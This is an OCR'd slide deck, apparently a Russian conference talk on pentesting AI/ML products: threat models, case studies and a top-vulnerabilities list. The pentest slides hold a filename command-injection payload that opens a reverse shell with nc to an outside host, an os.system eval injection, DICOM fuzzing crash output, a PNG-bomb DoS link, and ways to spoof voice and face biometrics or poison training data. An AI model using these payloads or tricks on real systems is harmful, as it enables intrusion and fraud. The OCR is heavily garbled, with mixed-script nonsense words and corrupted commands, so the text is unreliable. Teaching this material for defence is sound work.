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АТ-системь 


e Основа продукта - МІ модель 
- Рекомендательные и поисковые системы 
— Развлекательные приложения 
— Медицинские системы 
— Средства защиты (IDS/WAF/SIEM/...) 
— Биометрические системы 
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Ат-пайплайн 
е Ргоа: 


- Фронт с препроцессингом 
— Бек или фронт с самой моделью 
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(ні) арка di 


Ат-пайплайн 
е Prod: 


- Фронт с препроцессингом 

- Бек или фронт с самой моделью 
e Dev: 

— Репозитории, СТ/СО 

— Хранилища датасетов 

— Серверы для экспериментов 
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Особенности ИБ АТ 


• Ценные активы 
— Модели, датасеть 
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Особенности ИБ АТ 


• Ценные активы 
- Модели, датасеты 
e Модель угроз 


—Что страшнее: кража или ошибка 
модели? 
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Особенности ИБ АТ 


e Хитрые атаки 
— Adversarial examples 
— Model stealing 
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Особенности ИБ АТ 


e Хитрые атаки 
— Adversarial examples 
— Model stealing 
e High Load 
— Можно ли перенести модель на 
клиента? 
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Особенности ИБ АТ 


e Open Source 
— Очень много 319 party 


— Алгоритмы всем известны 
— Proxy attacks 
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Модель угроз МІ 


e Что может знать атакующий? 
— Используемый алгоритм ML 
— Обучающая/тестовая выборка 
— Используемые признаки 
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Модель угроз МІ 


e На что может влиять атакующий? 
- На обучающую/тестовую выборку 
- На входные данные 
— На модель 
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Модель угроз МІ 


e Что может получить атакующий? 
— Результат работы алгоритма 
— Отладочную информацию 
— Предобученную модель 
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Модель угроз МІ 


e Что может хотеть атакующий? 


— Украсть данные (кенфиденциальнееть) 


- Уронить или удалить все (дестуннееть) 


— Подменить данные или результат (нелеєтнеєть) 
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Технологическии стек 


e Обработка мультимедиа 
- Imagemagick, pillow, etc 
- ЕЕМрер 
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Технологический стек 


Фреймворки и АРІ 
- Тепзогроага 

- Keras 

- Jupyter 
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Технологический стек 


* Хранение 
- Elasticosearch 
- Крапа 
- Redis 
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Технологическии стек 


е АРІ для клиентов 
— Загрузка данных 
- Скачивание кастомных моделей 
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Ожидания 


e Как похакать АТ-систему? 
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Ожидания 


e Как похакать АТ-систему? 
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Ожидания 


e Как похакать АТ-системуг2 


+ .007 х 


“рапда” noise “gibbon” 


57.7% confidence 99.3% confidence 
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Реальность 


e Никакого матана 
— Инъекции bash-komann 
— Уязвимая конвертация картинок 
— Ошибки авторизации 
— Открытые бакеты с датасетами 
— Открытые репозитории 
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Пентесты 


e Deep learning обработка картинок 
- МеБ-приложение на Python 


e Где уязвимость? 
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Пентесты 


e Deep learning обработка картинок 
- Мер-приложение на Python 


* Command injection в имени файла 


ф|------ webKitFormBoundar yzpSouROgxAnpRD4v 

3 Content-Disposition: form-data; name="photo”; Е11епаше-"!; пс -e 
$ (PATH:0: l)binș (PATH:0: l)bash deteact.com 1337; #.рпе" 

9 Content-Type: image/png 


11 pwned 


д|------ webKitFormBoundar yzpSouROgx4npRD4v-- 
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Пентесты 


e АІ-стартап 
- Мі «щики на удаленке 
e Где уязвимость? 


Г\ HighLoad++ 
НІ. арка 


Пентесты 


e АІ-стартап 
- МЕ-щики на удаленке 
e Обертка над Тепѕогроага 


15 eval=0s.system('ls+-lah')&_xsrf= 
2%7С9сЬ0Ь7Ғ#3 %7Сса444а12 152596е0:4Ь558с1738#3Е2#с87с1584024173 
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Пентесты 


Ы Система медицинской диагностики 
— Анализ ОТСОМ-снимков 


e Где уязвимость? 
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Пентесты 


Ы Система медицинской диагностики 
- Анализ ОТСОМ-снимков 


- Переполнение буфера в ОСМТК 


pwndbg> г../../../+1п91пд5. даст ПЕцгг?/51а5ЕСМ.РС.417774.5ТАСК.1ЬЗа82бецй. CODE .1.ADDR. 0x28. INST 
R.mov____N(%rax)V,%ebx.fuzz /tmp/tt 

Starting program: /root/fuzzing/dicom/GDCM/gdembin_hong/bin/gdcmimg ../../../findings_gdecm_hfuz 
2/ ЗІСЗЕСМ.РС.Ц1777Ц.5ТАСК.1ЬЗа826еца. CODE. 1. ADDR.0x28.INSTR.mov____V(S%rax1)V,%ebx.fuzz /tmp/tt 
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[Thread debugging using Libthread_db enabled] 
Using host Libthread_db library "/Lib/x86_6u-linux-gnu/Libthread_db.so.1". 


Program received signal SIGSEGV, Segmentation fault. 
ех0008000088Цц1777Цц іп даст: :VL: :operator unsigned int() const () 
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Пентесты 


e Система биометрической 
аутентификации в колл-центре 


— По голосу 
г Где уязвимость? 
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Пентесты 


e Система биометрической 
аутентификации в колл-центре 
— По голосу 

e Фоновое транслирование 
оригинала 


- Достаточно включить запись голоса 
жертвы и говорить с оператором 
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Пентесты 


e Система биометрической 
аутентификации в офисе 
— По лицу 

г Где уязвимость? 
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Пентесты 


e Система биометрической 
аутентификации в офисе 
— По лицу 

e Можно показать фотографию 
камере 
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Пентесты 


e АГ-обработка фотографии 
— Уоч пате її 
e Где уязвимость? 
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Пентесты 


e АГ-обработка фотографии 
- Уоч пате її 

e Dos через РМа-бомбу 
- https://bomb.codes/bombs 
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Пентесты 


e АТІ-обработка лиц 
— You name її 
e Где уязвимость? 
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Пентесты 


e АТІ-обработка лиц 
— Уоч пате її 
e DoS через множество лиц 


— Генерируем видео с 1000 лиц на 
каждом кадре 
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Пентесты 


е Рекомендательная система 
- Мониторинг поведениа 


e Где уязвимость? 
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Пентесты 


e Рекомендательная система 
- Мониторинг поведения 

e Отравление данных 
— Отсутствие авторизации по га 


— Отправка данных на сервер от имени 
пользователей 
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Пентесты 


е Аналитическая система 
— Реклама, таргетинг 


г Где уязвимость? 
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Пентесты 


e Аналитическая система 
- Реклама, таргетинг 

e Утечка информации 
— Интересы пользователя через CORS 
- A еще, отравление А/В-тестов 
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Пентесты 


е Аналитическая система 
- Реклама, таргетинг 


e Утечка информации 


8 у: „ги 
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Пентесты 


e Антиспам 
— Например, Spamassasin 


e Где уязвимость? 
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Пентесты 


• Антиспам 


— Например, 
Spamassasin 


e Утечка весови 
признаков 
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pts rule name description 

4.0 BAYES_99 BODY: Bayes spam probability is 99 to 100% 

[score: 1.0000] 

0.0 FSL_HELO_NON_FQDN-_1 FSL_HELO_NON_FQDN_1 

3.8 НЕГО LOCALHOST НЕГО LOCALHOST 

0.1 SPF_NONE SPF: sender SPF record missing 

1.5 5108) АП САР5 Subject is all capitals 

-1.0 RP_MATCHES_RCVD Envelope sender domain matches handover re 
10 ВАУЕ5 999 BODY: Bayes spam probability is 99.9 to 100% 

[score: 1.0000] 

0.5 HTML_MESSAGE BODY: HTML included in message 

1.0 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 
1.5 BASE64_LENGTH_79_INF BODY: base64 encoded email part uses line 
greater than 79 characters 

1.1 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes ‹ 
0.4 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HI 
1.0 SUBJ_ILLEGAL_CHARS Subject: has too many raw illegal characters 
0.7 MIME_HEADER_CTYPE_ONLY &#39;СогцепЕТуре&# 39; found мо 
headers 

15 Г знме икиз Енч око 

0.0 SUBJECT_NEEDS_ENCODING Subject is encoded but does пої specify 
encoding 
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Пентесты 


e Антиспам 
— Например, Gmail, Уапаех 


г Где уязвимость? 
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Пентесты 


e Антиспам 
— Например, Gmail, Уапаех 
e Отравление выборки 


Не спам 
МУ Это спам! 


С) Не спам! 
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Пентесты 


• |оисковые системы 
— Например, Google, Уапаех 


e Где уязвимость? 
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Пентесты 


• |оисковые системы 
— Например, Google, Уапаех 


e SEO 


— SEO — суть взлом МІ -алгоритмов 
ранжирования 
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Топ уязвимостей 


1. 


Утечка данных 


Insecure Direct Object heference 
Передача моделина клиента 
Предсказуемые идентификаторы 
Классические веб-уязвимости 
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Топ уязвимостей 


2. Небезопасная обработка 
мультимедиа 
— Уязвимые версии библиотек 


— Ста-инъекции при вызове 
обработчика 


— Отсутствие защиты от DoS 
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Топ уязвимостей 


5. Открытые аеу-интерфейсы 


Тепзогроага, Jupyter 
55, MongoDB, Clickhouse 
Kibana, Elasticsearch 
Gitlab, Github, /.git 
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Топ уязвимостей 


4. Подверженность атакам на ML 
— Отсутствие рейт-лимитов на АРТ 
— Возможность отравления выборки 
— Отсутствие защиты от adversarial ML 
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Топ уязвимостей 


5. Другое 


Обычные уязвимости инфраструктуры 
Логические ошибки 

Отсутствие (differential) privacy 
Низкое качество самого ML 
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Что делать? 


• Common Sense: 
— Продуктовая безопасность 
- Инфраструктурная безопасность 
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Что делать? 


e Модель угроз: 
— Чего боимся? 
— Кого боимся? 
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Что делать? 


e Специфика: 
— Какие входные данные недоверенные? 
— Где препроцессинг? 
– Где АТ? 
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Что делать? 


e Организационно: 
- Инвентаризация доступов 
— Аудиты 
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Contact те Ос ГЕЛСТ 


- [elegram (Qbeched 
• blog.deteact.com 
г pentestglobal 


